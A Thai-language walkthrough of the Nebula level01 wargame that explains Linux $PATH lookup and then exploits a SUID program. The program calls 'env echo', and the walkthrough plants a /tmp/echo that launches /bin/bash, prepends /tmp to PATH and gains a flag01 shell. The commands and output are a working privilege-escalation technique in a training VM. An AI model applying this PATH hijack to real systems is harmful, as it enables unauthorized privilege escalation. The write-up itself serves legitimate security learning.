How to modify $PATH (environment variable) – Nebula 01

บทนำ (Overview)

บทความนี้จะกล่าวถึง “environment variable” ($PATH) บนระบบปฎิบัติการ Linux  สิ่งมีความสำคัญและสะดวกสบายอย่างยิ่งเมื่อต้องการเรียกใช้งานโปรแกรม ยกตัวอย่างเช่น เมื่อเราต้องการใช้งานคำสั่ง ls เราก็สามารถพิมพ์แค่ ls โดยไม่จำเป็นต้องพิมพ์คำสั่งแบบเต็มๆ คือ /bin/ls สาเหตุที่เราทำอย่างนี้ได้เพราะ เรามีการกำหนดตัวแปรที่เรียกว่า “environment variable” ซึ่งก็คือตัวแปร “PATH” จะคอยจดจำตำแหน่งของ ไดเรกทอรีเอาไว้ ซึ่งจะคั่นด้วย “:” นั้นเอง

level01@nebula:/home/flag01$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

จากตัวอย่างข้างต้นนั้นตัวแปร $PATH จะเก็บไดเรกทรอรีไว้ และมีขั้นตอนการทำงานง่าย ๆ ดังนี้

  1. ถ้าเราพิมพ์คำสั่งที่สามารถ Execute ได้นั้น
  2. ระบบจะไปค้นหาโปรแกรมดังกล่าวที่โฟลเดอร์ /usr/local/sbin ถ้าพบก็จะ Run คำสั่งดังกล่าว
  3. ถ้าไม่พบจะค้นใน /usr/local/bin ถ้าพบก็จะ Run คำสั่งดังกล่าว
  4. ถ้าไม่พบจะค้นใน /usr/sbin ถ้าพบก็จะ Run คำสั่งดังกล่าว
  5. ถ้าไม่พบจะค้นใน /usr/bin ถ้าพบก็จะ Run คำสั่งดังกล่าว
  6. ถ้าไม่พบจะค้นใน /sbin:/bin ถ้าพบก็จะ Run คำสั่งดังกล่าว
  7. ถ้าไม่พบจะค้นใน /bin ถ้าพบก็จะ Run คำสั่งดังกล่าว
  8. ถ้าไม่พบจะค้นใน /usr/games ถ้าพบก็จะ Run คำสั่งดังกล่าว

และในแต่ตัวแปร “$PATH” ก็จะแตกต่างในแต่ละ “User” ที่เรา “Login” เข้ามาใช้งานได้ด้วย สำหรับการกำหนด “$PATH” เราสามารถทำได้โดยใช้โครงสร้างดังนี้

PATH="/Folder/:$PATH"
export PATH

ขั้นตอน (Steps)

  1. ดาวน์โหลด “VM” ได้จาก https://exploit-exercises.com/download/
  2. “Login” โดยใช้ “User” คือ “level01” และ “Password” คือ “level01”
  3. โดยวัตถุประสงค์เราจะยกระดับสิทธิจาก “level01” เป็น “flag01”
  4. พบโปรแกรมคือ “/home/flag01”
    level01@nebula:/home/flag01$ ls -l
    total 8
    -rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
    
  5. ทดลองใช้งานโปรแกรม
    level01@nebula:/home/flag01$ ./flag01 
    and now what?
    level01@nebula:/home/flag01$ getflag
    getflag is executing on a non-flag account, this doesn't count
    
  6. จากโจทย์โปรแกรมดังกล่าวมี “Source-code” โดยให้ค้นหาว่าช่องโหว่ดังกล่าวคือ สามารถตรวจสอบรายละเอียดของโจทย์ ได้จาก https://exploit-exercises.com/nebula/level01/
    int main(int argc, char **argv, char **envp)
    {
      gid_t gid;
      uid_t uid;
      gid = getegid();
      uid = geteuid();
    
      setresgid(gid, gid, gid);
      setresuid(uid, uid, uid);
    
      system("/usr/bin/env echo and now what?");
    }
    
    
  7. มีการดึงค่า egid (Group) และ euid (User)  โดยใช้คำสั่ง getegid() และ geteuid() มาใช้เป็น gid และ uid เปรียบได้กับตั้ง SUID สามารถติดตามบทความมเกี่ยวข้อง SUID ได้จากบทความ How to find SUID permission – Nebula 00
  8. จาก Source-code ข้างต้นเราพบว่า “/usr/bin/env” โดยที่ “env” คือสิ่งที่ใช้สำหรับตั้งค่าใช้งาน “interpreter” สำหรับโปรแกรมนั้น ๆ  ตัวอย่างเช่น
    #!/usr/bin/env/ python
    
  9. โดยที่ “env” จะทำการค้นหา “path” ที่อยู่ใน “environment variable” หรือก็คือ “$path” ถ้าหาพบจะสามาถ “execute” ได้
    level01@nebula:/home/flag01$ echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
    
  10. ในส่วนของ คำสั่ง “/bin/echo (echo)” คือคำสั่ง เขียนสตริงอักขระไปยังเอาต์พุตมาตรฐาน “String” ถูกแบ่ง ด้วยช่องว่าง และอักขระบรรทัดใหม่ตามหลังพารามิเตอร์ “String” สุดท้าย ที่ระบุ ถ้าไม่มีการระบุพารามิเตอร์ “String” บรรทัดว่าง (อักขระขึ้นบรรทัดใหม่) จะถูกแสดง
    root@kali:~# /bin/echo test
    test
    
  11. ดังนั้นจากส่วนโปรแกรมที่เขียนขึ้นนั้นหมายความว่า “env” จะเรียกใช้งาาน “echo” ดังนั้นเป็นไปได้ว่าเราจะสร้าง script ขึ้นมาและเปลี่ยน “$path” เพื่อชี้ไปยัง “Script” ที่เราสร้างขึ้นมา
  12. ดังนั้นเราจะหาโฟลเดอร์ที่ทำให้เราเขียนไฟล์ได้ ปกติเราใช้งานโฟลเดอร์ /tmp
    drwxrwxrwt   8 root root  160 2017-02-04 07:42 tmp
    
  13. สร้างไฟล์ “echo” ในโฟลเดอร์ /tmp/ ซึ่งไฟล์ดังกล่าวจะสามารถเรียกใช้งาน “/bin/bash”
    #สร้างไฟล์ echo ในโฟลเดอร์ tmp โดยเรียกคำสั่ง /bin/bash
    level01@nebula:/$ echo "/bin/bash" > /tmp/echo
    level01@nebula:/$ cat /tmp/echo
    /bin/bash
    
    #กำหนดไฟล์ /tmp/echo ให้สามารถให้ได้สิทธิ "Execute" ได้
    level01@nebula:/$ ls -l /tmp/echo
    -rw-rw-r-- 1 level01 level01 10 2017-02-04 07:56 /tmp/echo
    level01@nebula:/$ chmod +x /tmp/echo
    level01@nebula:/$ ls -l /tmp/echo
    -rwxrwxr-x 1 level01 level01 10 2017-02-04 07:56 /tmp/echo
    
  14. เราสามารถเปลี่ยน “$PATH” ได้โดยให้เพิ่มไดเรกทอรี “/tmp” ที่เราสร้าง /tmp/echo โดยใช้คำสั่งดังนี้
    level01@nebula:/$ export PATH=/tmp/:$PATH
    level01@nebula:/$ echo $PATH
    /tmp/:/tmp:/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
    
  15. ก่อนอื่นเรากลับมาดู “UID” ปัจจุบันของเราก่อน
    level01@nebula:/$ id
    uid=1002(level01) gid=1002(level01) groups=1002(level01)
    
  16. ที่นี้ถ้าเราย้อนกลับไปดูส่วนโปรแกรม
    system("/usr/bin/env echo and now what?");
    
  17. เมื่อเราเรียกใช้งานโปรแกรมข้างต้น จะมีขั้นตอนดังนี้
    1. โปรแกรมประมวลส่วนของ system()
    2. โปรแกรมจะเรียกใช้งาน /usr/bin/env
    3. โดยมีอาร์กิวเมนต์ตัวแรกคือชื่อ โปรแกรม echo
    4. แต่เรากำหนด $PATH เอาไว้เป็น /tmp/
    5. ดังนั้นจะไปเรียกโปรแกรม /tmp/echo แทนที่ /bin/echo
    6. โปรแกรมจะประมวลผล /tmp/echo ที่มีการเรียกใช้งาน /bin/bash
    7. egid และ และ euid ถูกตั้งค่าเป็น flag01 ทำให้สามารถใช้งานด้วยสิทธิ flag01
      flag01@nebula:/home/flag01$ id
      uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
      flag01@nebula:/home/flag01$ getflag
      You have successfully executed getflag on a target account
      

ใส่ความเห็น